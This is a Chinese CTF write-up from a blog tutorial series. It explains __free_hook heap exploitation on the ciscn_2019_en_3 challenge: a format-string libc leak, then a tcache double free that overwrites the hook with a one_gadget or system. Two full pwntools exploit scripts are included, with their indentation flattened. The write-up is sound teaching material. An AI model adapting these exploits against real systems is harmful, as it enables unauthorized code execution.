pwn题堆利用的一些姿势 – malloc_hook
pwn题堆利用的一些姿势 – IO_FILE
pwn题堆利用的一些姿势 – setcontext
pwn题堆利用的一些姿势 – exit_hook
概述
在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。
主要分为以下几个系列:malloc_hook --> free_hook --> IO_FILE --> setcontext。
初级必备姿势
下面介绍free_hook的初级必备姿势,free_hook是调用free函数之前会执行的钩子函数,利用方式和malloc_hook大同小异,所以建议学习这种利用方式之前先看下malloc_hook。熟练掌握malloc_hook的利用方式后,再看free_hook会觉得十分轻松,基本上感觉是换汤不换药。当然一般利用先想malloc_hook,毕竟堆题肯定是有malloc函数的,但却不一定有free函数,另外free_hook往上的内存数据中不一定存在0x7f的字节数据来帮助我们实现fast bin attack。
好,废话不多说,接下来以2019年ciscn_en_3的pwn题为例,介绍free_hook的利用姿势,远程环境可以在BUUCTF上找到。该题目环境为Ubuntu18,需要利用tcache机制中的double free,不熟悉的读者可以参见这篇博文,pwn题堆入门 – Tcache bin。
程序分析:该题目保护全开,64位程序,使用libc-2.27.so,程序本身去除了符号名,可以自己修复一下,接下来我们直接定位漏洞,其余不重要的细节此处不再赘述。如下图所示,程序主逻辑中开头中存在格式化字符串漏洞,但由于开启了FORTIFY保护,所以对利用方式有点影响。这里可以简单总结一下开了FORTIFY保护下的格式化字符串漏洞利用,首先这里无法再使用%n来实现任意地址写,然后是无法使用%d$p(d代表大于1的数字)进行地址泄露;但是可以像这样连续使用%p%p%p%p来泄露数据。具体利用方式参见下面的wp。

另外查阅了一下网上相关的wp,发现有前辈是利用了puts(s)函数的溢出,即如下图所示,栈上"aaaaaaaa"的部分即是s的位置,我们将此处填满到8字节,由于puts在打印时遇到"\x00"才会停止,所以会将紧邻的setbuffer函数的地址打印出来,这样我们也能获得libc的地址。

如下图所示,是程序主逻辑的地方,主要实现了增删查改四个功能,但其中edit和show并没有实现具体功能,然后add是正常实现了堆块的分配,不存在溢出,delete存在uaf漏洞,再下一张图即是delete功能的具体实现。


漏洞利用:首先利用printf格式化字符串漏洞泄露libc地址,计算出free_hook地址,然后利用tcache的double free将堆块分配到free_hook上,填写为one_gadget。
如下图所示,我们先看gdb调试的结果,首先是printf_chk的格式化利用,这里即将call的就是printf_chk,由于加了保护,所以该函数有两个参数,第一个参数0x1代表保护级别存入寄存器rdi,第二个参数才是我们输入的格式化利用字符串%p-%p-%p存入寄存器rsi。我们可以看到寄存器rcx存放的是read+17的地址,根据64位linux下前6个寄存器传参的习惯(rdi/rsi/rdx/rcx/r8/r9),此处已经用了两个寄存器,所以第二个%p将会打印出rcx存放的值。到这里我们就获取到了libc上的地址,再根据libc计算出基地址和free_hook的地址即可。

如下图所示,第一张图展示了wp的执行结果,通过在wp中打印地址可以方便我们直接在gdb中进行断点调试和验证。第二张图展示了gdb的中结果,可以发现free_hook处已经被修改为了one_gadget的地址,当然这里运气不错,one_gadget的执行条件满足,接下来我们继续执行就可以获取到shell了。


这里给出wp。
from pwn import *
ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
p = process([ld_path, "./ciscn_2019_en_3"], env={"LD_PRELOAD":libc_path})
def add(size, con):
p.recvuntil("Input your choice:")
p.sendline("1")
p.recvuntil("size of story: \n")
p.sendline(str(size))
p.recvuntil("inpute the story: \n")
p.send(con)
def free(index):
p.recvuntil("Input your choice:")
p.sendline("4")
p.recvuntil("input the index:\n")
p.sendline(str(index))
# leak libc
pad = b"%p-%p-%p"
# pause()
p.send(pad)
p.recvuntil("-")
info = p.recvuntil("-", drop=True)
info = int(info.decode("ISO-8859-1"), 16)-17
print("read ", hex(info))
# count addr
libc = ELF(libc_path)
read = libc.sym["read"]
base = info-read
print("base ", hex(base))
# m_hook = base+libc.sym["__malloc_hook"]
# print("m_hook ", hex(m_hook))
f_hook = base+libc.sym["__free_hook"]
print("f_hook ", hex(f_hook))
onegad = [0x4f2c5, 0x4f322, 0x10a38c]
onegad = base+onegad[1]
print("onegad ", hex(onegad))
# realloc = base+libc.sym["realloc"]
# print("realloc ", hex(realloc))
p.recvuntil("Please input your ID.\n")
p.send("a")
# alloc to libc
add(0x20, "a")
free(0)
free(0) # double free
add(0x20, p64(f_hook))
add(0x20, "aaaa")
add(0x20, p64(onegad))
pause()
# attack
free(1)
p.interactive()
常规搭配姿势
接下来介绍free_hook的搭配姿势,在free_hook中我们也可以像malloc_hook一样利用system执行system("/bin/sh\x00")来获取到shell。利用过程是将free_hook对应的值改为system的地址,然后free堆块,要求free的堆块中的内容是"/bin/sh\00",下面直接给出wp。
from pwn import *
ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/libc-so/libc-2.27-64.so"
p = process([ld_path, "./ciscn_2019_en_3"], env={"LD_PRELOAD":libc_path})
def add(size, con):
p.recvuntil("Input your choice:")
p.sendline("1")
p.recvuntil("size of story: \n")
p.sendline(str(size))
p.recvuntil("inpute the story: \n")
p.send(con)
def free(index):
p.recvuntil("Input your choice:")
p.sendline("4")
p.recvuntil("input the index:\n")
p.sendline(str(index))
# leak libc
pad = b"%p-%p-%p"
# pause()
p.send(pad)
p.recvuntil("-")
info = p.recvuntil("-", drop=True)
info = int(info.decode("ISO-8859-1"), 16)-17
print("read ", hex(info))
# count addr
libc = ELF(libc_path)
read = libc.sym["read"]
base = info-read
print("base ", hex(base))
# m_hook = base+libc.sym["__malloc_hook"]
# print("m_hook ", hex(m_hook))
f_hook = base+libc.sym["__free_hook"]
print("f_hook ", hex(f_hook))
onegad = [0x4f2c5, 0x4f322, 0x10a38c]
onegad = base+onegad[1]
print("onegad ", hex(onegad))
sys = base+libc.sym["system"]
print("system ", hex(sys))
# realloc = base+libc.sym["realloc"]
# print("realloc ", hex(realloc))
p.recvuntil("Please input your ID.\n")
p.send("a")
# alloc to libc
add(0x20, "a") # 0
free(0)
free(0)
add(0x20, p64(f_hook)) # 1
add(0x20, "/bin/sh\x00") # 2
add(0x20, p64(sys))
pause()
# attack
free(1) # 0 1 2都是指向同一个堆块,所以可以free其中的任意一个
p.interactive()
按需进阶姿势
这里按需进阶姿势和malloc_hook中的一样,即利用realloc来调整栈上的参数,满足one_gadget的执行条件。该进阶姿势的原理和用法我在malloc_hook中讲的十分详细,这里就不再另举例子说明,有需要的读者可以参考最上面的链接。
总结
free_hook和malloc_hook真有异曲同工之妙,整个利用思路也是一样的,对于本题目,读者也可以先试试malloc_hook的打法,最开始我也是先用的malloc_hook,然后发现使用realloc+malloc_hook+one_gadget本地调试成功后,远程也会报错,所以改用了free_hook。当然不用one_gadget,而是将malloc_hook改为system执行system()调用应该是可行的,大家可以动手试下,提升自己的熟练度。
不忘初心,砥砺前行!

本文介绍了在pwn题目中,面对PIE和Full RELRO保护时,如何利用free_hook进行堆利用。通过2019年ciscn_en_3的pwn题为例,详细阐述了free_hook的初级姿势,包括利用格式化字符串漏洞泄露libc地址,通过double free将堆块分配到free_hook上,并填充one_gadget,最终获取shell。同时提到了常规搭配姿势和按需进阶姿势,帮助读者深入理解free_hook的利用方法。
5642

被折叠的 条评论
为什么被折叠?



